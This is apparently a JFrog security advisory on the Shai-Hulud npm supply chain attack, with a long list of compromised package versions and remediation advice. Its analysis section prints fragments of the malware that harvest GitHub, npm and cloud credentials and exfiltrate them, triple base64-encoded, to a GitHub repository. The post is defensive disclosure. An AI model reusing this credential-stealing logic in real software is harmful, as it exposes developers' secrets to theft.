Shai-Hulud npm supply chain attack – new compromised packages detected
IMPORTANT UPDATE: Shai-Hulud Returns
(Nov 24, 2025) JFrog continues to track, provide research and document another wave of the Shai-Hulud Software Supply Chain Attack. Following the initial campaign, threat actors have returned with more advanced tactics, compromising an additional 796 new malicious packages across leading public registries. This new wave exhibits several key differences from the first, including obfuscation techniques to evade detection and better persistence. This evolution underscores a critical need for organizations to become more proactive by immediately reinforcing their software supply chain security and consider the advantages that a shift-left platform approach could bring to their organization. For detailed technical analysis of the second wave, including full IOCs and malware behavior breakdown, see our latest Shai-Hulud npm Supply Chain Attack research report.
Recently, the npm ecosystem has faced another large-scale attack. Following the recent compromise of the nx packages and another wave targeting popular packages, the registry has once again been attacked.
The first report came from Daniel Pereira, who identified a compromised package: @ctrl/tinycolor@4.1.1. By the end of the day, JFrog’s malware scanners had identified 164 unique malicious packages across 338 infected versions, containing multiple variations of the same data-stealer payload.
Shai-Hulud Data Stealer Payload
The malicious payload is bundled into a bundle.js file, packaged as a Webpack application. While it promises to optimize the user’s system, its actual functionality is much more dangerous.
{
name: "System Info App",
version: "1.0.0",
description: "Optimizes system."
}
Instead of system optimization, it initially gathers complete information about the system, including credentials from GitHub, NPM, AWS, and GCP. In addition to the supported platforms, it downloads and runs TruffleHog: an open-source utility that searches and gathers the aforementioned types of secrets.
const system_info = {
application: t.getConfig(),
system: {
platform: r.platform,
architecture: r.architecture,
platformDetailed: r.platformRaw,
architectureDetailed: r.archRaw
},
runtime: runtime_info,
environment: process.env,
modules: {
github: {
authenticated: GitHubModule.isAuthenticated(),
token: GitHubModule.getCurrentToken()
},
aws: {
secrets: ue
},
gcp: {
secrets: de
},
truffleHog: truffle_hog_dump,
npm: {
token: npm_token,
authenticated: npm_authenticated,
username: npm_user
}
}
};
After the data is gathered, it attempts to authenticate under the existing user’s account, and in the event of success, creates a repository named Shai-Hulud with the stolen content, encoded multiple times using base64.
async makeRepo(t, r) {
const n = (await this.octokit.rest.repos.createForAuthenticatedUser({
name: t,
description: "Shai-Hulud Repository.",
private: !0,
})).data;
return await new Promise(t => setTimeout(t, 3e3)), r && await this.octokit.rest.repos.createOrUpdateFileContents({
path: "data.json",
message: "Initial commit",
content: Buffer.from(Buffer.from(Buffer.from(r).toString("base64")).toString("base64")).toString("base64")
})
}
if GitHubModule.isAuthenticated() & ! GitHubModule.repoExists("Shai-Hulud") {
await GitHubModule.makeRepo("Shai-Hulud", formatOutput(pe)
exitWithCode(0)
}
We observed eight variants of the above payload. While the main functionality is the same, some versions contain slight differences, suggesting iterative adjustments by the attacker over the course of the campaign.
For example, some versions make the “Shai-Hulud” repository private, hiding it from discovery. Another version also tries to steal Azure credentials in addition to the four mentioned credential types.
What should impacted users do?
If you installed any of the packages mentioned under “Compromised Packages”, the malicious payload may have exfiltrated sensitive information from your system.
Perform the following operations:
- Rotate any access tokens that were stored on the affected machine of the following providers – GitHub, NPM, AWS, GCP, Azure
- Rotate any access tokens that were stored on the affected machine which can be identified by TruffleHog. Supported providers can be searched for in Trufflehog’s GitHub repository.
Who is behind this attack?
The use of GitHub repositories to store stolen data mirrors techniques seen in the previous NX CLI compromise. However, it’s not enough to say whether these incidents are the work of the same actor. The tooling and payload design are similar, but attribution remains uncertain.
Compromised Packages
Original report
The original report contained these compromised package versions:
angulartics2@14.1.2
@ctrl/deluge@7.2.2
@ctrl/golang-template@1.4.3
@ctrl/magnet-link@4.0.4
@ctrl/ngx-codemirror@7.0.2
@ctrl/ngx-csv@6.0.2
@ctrl/ngx-emoji-mart@9.2.2
@ctrl/ngx-rightclick@4.0.2
@ctrl/qbittorrent@9.7.2
@ctrl/react-adsense@2.0.2
@ctrl/shared-torrent@6.3.2
@ctrl/tinycolor@4.1.1, @4.1.2
@ctrl/torrent-file@4.1.2
@ctrl/transmission@7.3.1
@ctrl/ts-base32@4.0.2
encounter-playground@0.0.5
json-rules-engine-simplified@0.2.4, 0.2.1
koa2-swagger-ui@5.11.2, 5.11.1
@nativescript-community/gesturehandler@2.0.35
@nativescript-community/sentry 4.6.43
@nativescript-community/text@1.6.13
@nativescript-community/ui-collectionview@6.0.6
@nativescript-community/ui-drawer@0.1.30
@nativescript-community/ui-image@4.5.6
@nativescript-community/ui-material-bottomsheet@7.2.72
@nativescript-community/ui-material-core@7.2.76
@nativescript-community/ui-material-core-tabs@7.2.76
ngx-color@10.0.2
ngx-toastr@19.0.2
ngx-trend@8.0.1
react-complaint-image@0.0.35
react-jsonschema-form-conditionals@0.3.21
react-jsonschema-form-extras@1.0.4
rxnt-authentication@0.0.6
rxnt-healthchecks-nestjs@1.0.5
rxnt-kue@1.0.7
swc-plugin-component-annotate@1.9.2
ts-gaussian@3.0.6
Newly detected compromised packages (ongoing)
We’re continuing to track the unfolding compromise of more packages in this campaign. Our monitoring infrastructure has detected additional malicious packages with the same payload (or variations of it) with hundreds of versions:
@ahmedhfarag/ngx-perfect-scrollbar@20.0.20
@ahmedhfarag/ngx-virtual-scroller@4.0.4
@art-ws/common@2.0.22
@art-ws/common@2.0.28
@art-ws/config-eslint@2.0.4
@art-ws/config-eslint@2.0.5
@art-ws/config-ts@2.0.7
@art-ws/config-ts@2.0.8
@art-ws/db-context@2.0.21
@art-ws/db-context@2.0.24
@art-ws/di@2.0.28
@art-ws/di@2.0.32
@art-ws/di-node@2.0.13
@art-ws/eslint@1.0.5
@art-ws/eslint@1.0.6
@art-ws/fastify-http-server@2.0.24
@art-ws/fastify-http-server@2.0.27
@art-ws/http-server@2.0.21
@art-ws/http-server@2.0.25
@art-ws/openapi@0.1.12
@art-ws/openapi@0.1.9
@art-ws/package-base@1.0.5
@art-ws/package-base@1.0.6
@art-ws/prettier@1.0.5
@art-ws/prettier@1.0.6
@art-ws/slf@2.0.15
@art-ws/slf@2.0.22
@art-ws/ssl-info@1.0.10
@art-ws/ssl-info@1.0.9
@art-ws/web-app@1.0.3
@art-ws/web-app@1.0.4
@basic-ui-components-stc/basic-ui-components@1.0.5
@crowdstrike/commitlint@8.1.1
@crowdstrike/commitlint@8.1.2
@crowdstrike/falcon-shoelace@0.4.1
@crowdstrike/falcon-shoelace@0.4.2
@crowdstrike/foundry-js@0.19.1
@crowdstrike/foundry-js@0.19.2
@crowdstrike/glide-core@0.34.2
@crowdstrike/glide-core@0.34.3
@crowdstrike/logscale-dashboard@1.205.1
@crowdstrike/logscale-dashboard@1.205.2
@crowdstrike/logscale-file-editor@1.205.1
@crowdstrike/logscale-file-editor@1.205.2
@crowdstrike/logscale-parser-edit@1.205.1
@crowdstrike/logscale-parser-edit@1.205.2
@crowdstrike/logscale-search@1.205.1
@crowdstrike/logscale-search@1.205.2
@crowdstrike/tailwind-toucan-base@5.0.1
@crowdstrike/tailwind-toucan-base@5.0.2
@ctrl/deluge@7.2.1
@ctrl/golang-template@1.4.2
@ctrl/magnet-link@4.0.3
@ctrl/ngx-codemirror@7.0.1
@ctrl/ngx-csv@6.0.1
@ctrl/ngx-emoji-mart@9.2.1
@ctrl/ngx-rightclick@4.0.1
@ctrl/qbittorrent@9.7.1
@ctrl/react-adsense@2.0.1
@ctrl/shared-torrent@6.3.1
@ctrl/tinycolor@4.1.1
@ctrl/tinycolor@4.1.2
@ctrl/torrent-file@4.1.1
@ctrl/ts-base32@4.0.1
@hestjs/core@0.2.1
@hestjs/cqrs@0.1.6
@hestjs/demo@0.1.2
@hestjs/eslint-config@0.1.2
@hestjs/logger@0.1.6
@hestjs/scalar@0.1.7
@hestjs/validation@0.1.6
@nativescript-community/arraybuffers@1.1.6
@nativescript-community/arraybuffers@1.1.7
@nativescript-community/arraybuffers@1.1.8
@nativescript-community/perms@3.0.5
@nativescript-community/perms@3.0.6
@nativescript-community/perms@3.0.7
@nativescript-community/perms@3.0.8
@nativescript-community/perms@3.0.9
@nativescript-community/sentry@4.6.43
@nativescript-community/sqlite@3.5.3
@nativescript-community/sqlite@3.5.4
@nativescript-community/sqlite@3.5.5
@nativescript-community/text@1.6.10
@nativescript-community/text@1.6.11
@nativescript-community/text@1.6.12
@nativescript-community/text@1.6.9
@nativescript-community/typeorm@0.2.30
@nativescript-community/typeorm@0.2.31
@nativescript-community/typeorm@0.2.32
@nativescript-community/typeorm@0.2.33
@nativescript-community/ui-document-picker@1.1.27
@nativescript-community/ui-document-picker@1.1.28
@nativescript-community/ui-label@1.3.35
@nativescript-community/ui-label@1.3.36
@nativescript-community/ui-label@1.3.37
@nativescript-community/ui-material-bottom-navigation@7.2.72
@nativescript-community/ui-material-bottom-navigation@7.2.73
@nativescript-community/ui-material-bottom-navigation@7.2.74
@nativescript-community/ui-material-bottom-navigation@7.2.75
@nativescript-community/ui-material-core@7.2.72
@nativescript-community/ui-material-core@7.2.73
@nativescript-community/ui-material-core@7.2.74
@nativescript-community/ui-material-core@7.2.75
@nativescript-community/ui-material-core-tabs@7.2.72
@nativescript-community/ui-material-core-tabs@7.2.73
@nativescript-community/ui-material-core-tabs@7.2.74
@nativescript-community/ui-material-core-tabs@7.2.75
@nativescript-community/ui-material-ripple@7.2.72
@nativescript-community/ui-material-ripple@7.2.73
@nativescript-community/ui-material-ripple@7.2.74
@nativescript-community/ui-material-ripple@7.2.75
@nativescript-community/ui-material-tabs@7.2.72
@nativescript-community/ui-material-tabs@7.2.73
@nativescript-community/ui-material-tabs@7.2.74
@nativescript-community/ui-material-tabs@7.2.75
@nativescript-community/ui-pager@14.1.35
@nativescript-community/ui-pager@14.1.36
@nativescript-community/ui-pager@14.1.37
@nativescript-community/ui-pager@14.1.38
@nativescript-community/ui-pulltorefresh@2.5.4
@nativescript-community/ui-pulltorefresh@2.5.5
@nativescript-community/ui-pulltorefresh@2.5.6
@nativescript-community/ui-pulltorefresh@2.5.7
@nexe/config-manager@0.1.1
@nexe/eslint-config@0.1.1
@nexe/logger@0.1.3
@nstudio/angular@20.0.4
@nstudio/angular@20.0.5
@nstudio/angular@20.0.6
@nstudio/focus@20.0.4
@nstudio/focus@20.0.5
@nstudio/focus@20.0.6
@nstudio/nativescript-checkbox@2.0.6
@nstudio/nativescript-checkbox@2.0.7
@nstudio/nativescript-checkbox@2.0.8
@nstudio/nativescript-checkbox@2.0.9
@nstudio/nativescript-loading-indicator@5.0.1
@nstudio/nativescript-loading-indicator@5.0.2
@nstudio/nativescript-loading-indicator@5.0.3
@nstudio/nativescript-loading-indicator@5.0.4
@nstudio/ui-collectionview@5.1.11
@nstudio/ui-collectionview@5.1.12
@nstudio/ui-collectionview@5.1.13
@nstudio/ui-collectionview@5.1.14
@nstudio/web@20.0.4
@nstudio/web-angular@20.0.4
@nstudio/xplat@20.0.4
@nstudio/xplat@20.0.5
@nstudio/xplat@20.0.6
@nstudio/xplat@20.0.7
@nstudio/xplat-utils@20.0.4
@nstudio/xplat-utils@20.0.5
@nstudio/xplat-utils@20.0.6
@nstudio/xplat-utils@20.0.7
@operato/board@9.0.35
@operato/board@9.0.36
@operato/board@9.0.37
@operato/board@9.0.38
@operato/board@9.0.39
@operato/board@9.0.40
@operato/board@9.0.41
@operato/board@9.0.42
@operato/board@9.0.43
@operato/board@9.0.44
@operato/board@9.0.45
@operato/board@9.0.46
@operato/board@9.0.47
@operato/board@9.0.48
@operato/board@9.0.49
@operato/board@9.0.50
@operato/board@9.0.51
@operato/data-grist@9.0.29
@operato/data-grist@9.0.35
@operato/data-grist@9.0.36
@operato/data-grist@9.0.37
@operato/graphql@9.0.22
@operato/graphql@9.0.35
@operato/graphql@9.0.36
@operato/graphql@9.0.37
@operato/graphql@9.0.38
@operato/graphql@9.0.39
@operato/graphql@9.0.40
@operato/graphql@9.0.41
@operato/graphql@9.0.42
@operato/graphql@9.0.43
@operato/graphql@9.0.44
@operato/graphql@9.0.45
@operato/graphql@9.0.46
@operato/graphql@9.0.47
@operato/graphql@9.0.48
@operato/graphql@9.0.49
@operato/graphql@9.0.50
@operato/graphql@9.0.51
@operato/headroom@9.0.2
@operato/headroom@9.0.35
@operato/headroom@9.0.36
@operato/headroom@9.0.37
@operato/help@9.0.35
@operato/help@9.0.36
@operato/help@9.0.37
@operato/help@9.0.38
@operato/help@9.0.39
@operato/help@9.0.40
@operato/help@9.0.41
@operato/help@9.0.42
@operato/help@9.0.43
@operato/help@9.0.44
@operato/help@9.0.45
@operato/help@9.0.46
@operato/help@9.0.47
@operato/help@9.0.48
@operato/help@9.0.49
@operato/help@9.0.50
@operato/help@9.0.51
@operato/i18n@9.0.35
@operato/i18n@9.0.36
@operato/i18n@9.0.37
@operato/input@9.0.35
@operato/input@9.0.36
@operato/input@9.0.37
@operato/input@9.0.38
@operato/input@9.0.39
@operato/input@9.0.40
@operato/input@9.0.41
@operato/input@9.0.42
@operato/input@9.0.43
@operato/input@9.0.44
@operato/input@9.0.45
@operato/input@9.0.46
@operato/input@9.0.47
@operato/input@9.0.48
@operato/layout@9.0.35
@operato/layout@9.0.37
@operato/popup@9.0.35
@operato/popup@9.0.36
@operato/popup@9.0.37
@operato/popup@9.0.38
@operato/popup@9.0.39
@operato/popup@9.0.40
@operato/popup@9.0.41
@operato/popup@9.0.42
@operato/popup@9.0.43
@operato/popup@9.0.44
@operato/popup@9.0.45
@operato/popup@9.0.46
@operato/popup@9.0.47
@operato/popup@9.0.48
@operato/popup@9.0.49
@operato/popup@9.0.50
@operato/popup@9.0.51
@operato/pull-to-refresh@9.0.35
@operato/pull-to-refresh@9.0.36
@operato/pull-to-refresh@9.0.37
@operato/pull-to-refresh@9.0.38
@operato/pull-to-refresh@9.0.39
@operato/pull-to-refresh@9.0.40
@operato/pull-to-refresh@9.0.41
@operato/pull-to-refresh@9.0.42
@operato/pull-to-refresh@9.0.43
@operato/pull-to-refresh@9.0.44
@operato/pull-to-refresh@9.0.45
@operato/pull-to-refresh@9.0.46
@operato/pull-to-refresh@9.0.47
@operato/shell@9.0.22
@operato/shell@9.0.35
@operato/shell@9.0.36
@operato/shell@9.0.37
@operato/shell@9.0.38
@operato/shell@9.0.39
@operato/styles@9.0.2
@operato/styles@9.0.35
@operato/styles@9.0.36
@operato/styles@9.0.37
@operato/utils@9.0.22
@operato/utils@9.0.35
@operato/utils@9.0.36
@operato/utils@9.0.37
@operato/utils@9.0.38
@operato/utils@9.0.39
@operato/utils@9.0.40
@operato/utils@9.0.41
@operato/utils@9.0.42
@operato/utils@9.0.43
@operato/utils@9.0.44
@operato/utils@9.0.45
@operato/utils@9.0.46
@operato/utils@9.0.47
@operato/utils@9.0.48
@operato/utils@9.0.49
@operato/utils@9.0.50
@operato/utils@9.0.51
@teselagen/bio-parsers@0.4.29
@teselagen/bio-parsers@0.4.30
@teselagen/bounce-loader@0.3.16
@teselagen/bounce-loader@0.3.17
@teselagen/file-utils@0.3.21
@teselagen/file-utils@0.3.22
@teselagen/liquibase-tools@0.4.1
@teselagen/ove@0.7.39
@teselagen/ove@0.7.40
@teselagen/range-utils@0.3.14
@teselagen/range-utils@0.3.15
@teselagen/react-list@0.8.19
@teselagen/react-list@0.8.20
@teselagen/react-table@6.10.19
@teselagen/react-table@6.10.20
@teselagen/react-table@6.10.21
@teselagen/react-table@6.10.22
@teselagen/sequence-utils@0.3.33
@teselagen/sequence-utils@0.3.34
@teselagen/ui@0.9.10
@teselagen/ui@0.9.9
@thangved/callback-window@1.1.4
@things-factory/attachment-base@9.0.42
@things-factory/attachment-base@9.0.43
@things-factory/attachment-base@9.0.44
@things-factory/attachment-base@9.0.45
@things-factory/attachment-base@9.0.46
@things-factory/attachment-base@9.0.47
@things-factory/attachment-base@9.0.48
@things-factory/attachment-base@9.0.49
@things-factory/attachment-base@9.0.50
@things-factory/attachment-base@9.0.51
@things-factory/attachment-base@9.0.52
@things-factory/attachment-base@9.0.53
@things-factory/attachment-base@9.0.54
@things-factory/attachment-base@9.0.55
@things-factory/auth-base@9.0.42
@things-factory/auth-base@9.0.43
@things-factory/auth-base@9.0.44
@things-factory/auth-base@9.0.45
@things-factory/email-base@9.0.42
@things-factory/email-base@9.0.43
@things-factory/email-base@9.0.44
@things-factory/email-base@9.0.45
@things-factory/email-base@9.0.46
@things-factory/email-base@9.0.47
@things-factory/email-base@9.0.48
@things-factory/email-base@9.0.49
@things-factory/email-base@9.0.50
@things-factory/email-base@9.0.51
@things-factory/email-base@9.0.52
@things-factory/email-base@9.0.53
@things-factory/email-base@9.0.54
@things-factory/email-base@9.0.55
@things-factory/email-base@9.0.56
@things-factory/email-base@9.0.57
@things-factory/email-base@9.0.58
@things-factory/email-base@9.0.59
@things-factory/env@9.0.42
@things-factory/env@9.0.43
@things-factory/env@9.0.44
@things-factory/env@9.0.45
@things-factory/integration-base@9.0.42
@things-factory/integration-base@9.0.43
@things-factory/integration-base@9.0.44
@things-factory/integration-base@9.0.45
@things-factory/integration-marketplace@9.0.42
@things-factory/integration-marketplace@9.0.43
@things-factory/integration-marketplace@9.0.44
@things-factory/integration-marketplace@9.0.45
@things-factory/shell@9.0.42
@things-factory/shell@9.0.43
@things-factory/shell@9.0.44
@things-factory/shell@9.0.45
@tnf-dev/api@1.0.8
@tnf-dev/core@1.0.8
@tnf-dev/js@1.0.8
@tnf-dev/mui@1.0.8
@tnf-dev/react@1.0.8
@ui-ux-gang/devextreme-angular-rpk@24.1.7
@ui-ux-gang/devextreme-rpk@24.1.7
@yoobic/design-system@6.5.17
@yoobic/jpeg-camera-es6@1.0.13
@yoobic/yobi@8.7.53
ace-colorpicker-rpk@0.0.14
airchief@0.3.1
airpilot@0.8.8
angulartics2@14.1.1
browser-webdriver-downloader@3.0.8
capacitor-notificationhandler@0.0.2
capacitor-notificationhandler@0.0.3
capacitor-plugin-healthapp@0.0.2
capacitor-plugin-healthapp@0.0.3
capacitor-plugin-ihealth@1.1.8
capacitor-plugin-ihealth@1.1.9
capacitor-plugin-vonage@1.0.2
capacitor-plugin-vonage@1.0.3
capacitorandroidpermissions@0.0.4
capacitorandroidpermissions@0.0.5
config-cordova@0.8.5
cordova-plugin-voxeet2@1.0.24
cordova-voxeet@1.0.32
create-hest-app@0.1.9
db-evo@1.1.4
db-evo@1.1.5
devextreme-angular-rpk@21.2.8
devextreme-rpk@21.2.8
ember-browser-services@5.0.2
ember-browser-services@5.0.3
ember-headless-form@1.1.2
ember-headless-form@1.1.3
ember-headless-form-yup@1.0.1
ember-headless-table@2.1.5
ember-headless-table@2.1.6
ember-url-hash-polyfill@1.0.12
ember-url-hash-polyfill@1.0.13
ember-velcro@2.2.1
ember-velcro@2.2.2
encounter-playground@0.0.2
encounter-playground@0.0.3
encounter-playground@0.0.4
eslint-config-crowdstrike@11.0.2
eslint-config-crowdstrike@11.0.3
eslint-config-crowdstrike-node@4.0.3
eslint-config-crowdstrike-node@4.0.4
eslint-config-teselagen@6.1.7
eslint-config-teselagen@6.1.8
globalize-rpk@1.7.4
graphql-sequelize-teselagen@5.3.8
graphql-sequelize-teselagen@5.3.9
html-to-base64-image@1.0.2
json-rules-engine-simplified@0.2.1
json-rules-engine-simplified@0.2.2
json-rules-engine-simplified@0.2.3
json-rules-engine-simplified@0.2.4
jumpgate@0.0.2
koa2-swagger-ui@5.11.1
koa2-swagger-ui@5.11.2
mcfly-semantic-release@1.3.1
mcp-knowledge-base@0.0.2
mcp-knowledge-graph@1.2.1
mobioffice-cli@1.0.3
monorepo-next@13.0.1
monorepo-next@13.0.2
mstate-angular@0.4.4
mstate-cli@0.4.7
mstate-dev-react@1.1.1
mstate-react@1.6.5
ng-imports-checker@0.0.10
ng-imports-checker@0.0.9
ng2-file-upload@7.0.2
ng2-file-upload@8.0.1
ng2-file-upload@8.0.2
ng2-file-upload@8.0.3
ng2-file-upload@9.0.1
ngx-bootstrap@18.1.4
ngx-bootstrap@19.0.3
ngx-bootstrap@19.0.4
ngx-bootstrap@20.0.3
ngx-bootstrap@20.0.4
ngx-bootstrap@20.0.5
ngx-bootstrap@20.0.6
ngx-color@10.0.1
ngx-toastr@19.0.1
ngx-ws@1.1.5
ngx-ws@1.1.6
oradm-to-gql@35.0.14
oradm-to-gql@35.0.15
oradm-to-sqlz@1.1.2
oradm-to-sqlz@1.1.3
oradm-to-sqlz@1.1.4
oradm-to-sqlz@1.1.5
ove-auto-annotate@0.0.10
ove-auto-annotate@0.0.9
pm2-gelf-json@1.0.4
pm2-gelf-json@1.0.5
printjs-rpk@1.6.1
react-complaint-image@0.0.32
react-complaint-image@0.0.33
react-complaint-image@0.0.34
react-jsonschema-form-conditionals@0.3.18
react-jsonschema-form-conditionals@0.3.19
react-jsonschema-form-conditionals@0.3.20
react-jsonschema-form-extras@1.0.1
react-jsonschema-form-extras@1.0.2
react-jsonschema-form-extras@1.0.3
react-jsonschema-rxnt-extras@0.4.6
react-jsonschema-rxnt-extras@0.4.7
react-jsonschema-rxnt-extras@0.4.8
react-jsonschema-rxnt-extras@0.4.9
remark-preset-lint-crowdstrike@4.0.1
remark-preset-lint-crowdstrike@4.0.2
rxnt-authentication@0.0.3
rxnt-authentication@0.0.4
rxnt-authentication@0.0.5
rxnt-healthchecks-nestjs@1.0.2
rxnt-healthchecks-nestjs@1.0.3
rxnt-healthchecks-nestjs@1.0.4
rxnt-kue@1.0.4
rxnt-kue@1.0.5
rxnt-kue@1.0.6
swc-plugin-component-annotate@1.9.1
tbssnch@1.0.2
teselagen-interval-tree@1.1.2
tg-client-query-builder@2.14.4
tg-client-query-builder@2.14.5
tg-redbird@1.3.1
tg-redbird@1.3.2
tg-seq-gen@1.0.10
tg-seq-gen@1.0.9
thangved-react-grid@1.0.3
ts-gaussian@3.0.5
ts-imports@1.0.1
ts-imports@1.0.2
tvi-cli@0.1.5
ve-bamreader@0.2.6
ve-bamreader@0.2.7
ve-editor@1.0.1
ve-editor@1.0.2
verror-extra@6.0.1
voip-callkit@1.0.2
voip-callkit@1.0.3
wdio-web-reporter@0.1.3
yargs-help-output@5.0.3
yoo-styles@6.0.326
November 2025: The Second Coming
The Shai-Hulud software supply chain attack has proven to be an ongoing threat, not a one-time incident. Just 10 weeks following the initial September campaign, JFrog Security Research has confirmed the discovery of a second, more sophisticated attack wave. While the volume of compromised packages (796 new malicious packages) is lower than the initial wave (1,150+), the heightened sophistication indicates a dedicated, persistent threat actor committed to evolving their attack strategies. This return signals a more disturbing core issue, which is challenging the trust that is placed in OSS packages, making them a key concern for developers, DevOps teams and Security Professionals.
Evolving Tactics and Persistence
This second wave exhibits an upgrade in tactics, confirming the actor’s intent to sustain the campaign and evade code and binary scanners. Unlike the first attack, which focused heavily on maximizing volume, the second wave integrates obfuscation techniques with modified payload delivery mechanisms. The actor is actively experimenting with new infrastructure, moving laterally to new hosting services and utilizing complex command-and-control (C2) flows designed to bypass heuristic and behavior-based detection tools.
Urgent Call to Action for Security Managers
For CISOs and security managers, this means the risk is no longer solely about known bad packages; it’s about unknown, evolving threats capable of going undetected using current solutions, and solidifies the campaign’s position as a long-term, continuous operational risk to any organization relying on open-source registries.
Given the persistent and evolving nature of this attack, organizations must move beyond reactive scanning and implement a proactive, platform-centric security posture. Security managers and DevOps leaders should immediately audit all active dependencies pulled since the initial September attack, and cross-reference them against updated intelligence feeds.
More fundamentally, this event emphasizes the immediate need for adoption of continuous supply chain monitoring and vetting OSS packages, using solutions such as JFrog Curation, to block threats from entering the development ecosystem. For detailed technical analysis of the second wave, including full IOC lists, see our complete security research report. This ongoing attack underscores the critical business need to integrate security directly into the development workflow to protect against future waves.
Make sure to stay on top of this and future attacks by bookmarking the JFrog Security Research Center and scheduling a demo of JFrog Curation today.


